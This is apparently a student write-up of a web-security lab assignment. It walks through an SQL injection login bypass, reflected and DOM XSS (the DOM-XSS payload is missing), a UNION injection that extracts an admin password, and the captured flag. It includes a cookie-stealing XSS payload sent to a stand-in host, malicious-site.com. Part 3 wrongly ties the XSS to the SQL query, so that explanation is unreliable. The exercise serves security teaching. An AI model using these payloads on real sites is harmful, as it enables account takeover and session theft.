

Assignment 3 - Code Injection Attacks on the Web

1. Bypass the initial login page using an SQL injection payload and login as "user":

The query used for the login in the app.py code is `SELECT * FROM users WHERE username = 'user' AND password = '{password}'`.

In the mock application we changed this query to be `SELECT * FROM users WHERE username = 'user' AND password = 'something' OR '1'='1'`. This way, the query's condition will be true regardless of the user's input.

So, in the real application we inserted the password something' OR '1'='1' and the login page was bypassed.

2. Identify and exploit the DOM-XSS vulnerability:

The potential DOM-XSS vulnerability can be found in the JavaScript code that reads the hash from the URL and injects it into the HTML using `document.write()`.

If we append the following payload to the URL as a fragment #, it will trigger an alert box indicating a successful exploitation of the DOM-XSS vulnerability.

3. Identify and exploit the reflected XSS vulnerability:

The potential reflected XSS vulnerability can be found in the login form where the password input is directly used in an SQL query without proper validation or sanitization. If we enter the following payload as the password in the login form ><script>alert("Reflected XSS");</script>, the payload is reflected in the response and the alert is triggered, indicating a successful exploitation of the reflected XSS vulnerability.

Other payloads that exploit this vulnerability are cookie theft payloads such as <script>document.location='https://malicious-site.com/collect?cookie='+document.cookie;</script> and redirection payloads such as <script>document.location='https://malicious-site.com';</script>.

4. Misuse the item search functionality to retrieve data from the "users" DB table and acquire the admin's password:

The query used to search for an item is: `SELECT name,category,price FROM items WHERE name = '{name}'`.

In the mock application we changed this query to be `SELECT name,category,price FROM items WHERE name = 'something' UNION SELECT id,username,password FROM users WHERE username = 'superadmin'`. This way, the query will always return the information of the superadmin from the "users" DB table.

So, in the real application, after we logged in as users, we searched for something' UNION SELECT id,username,password FROM users WHERE username

= 'superadmin and we got 3 columns: 1 superadmin \$thisIsUncrackable\$. So, the admin's password is \$thisIsUncrackable\$.

5. Login in as the administrator and fetch the secret flag:

After navigating to the /admin page in the real application, we inserted the password we found \$thisIsUncrackable\$ and we fetched the secret flag:
TUC{b270fa24b369a2c1e62fb99b61ae8ee32a863aecf9a01006a916fedd0d6adda
c}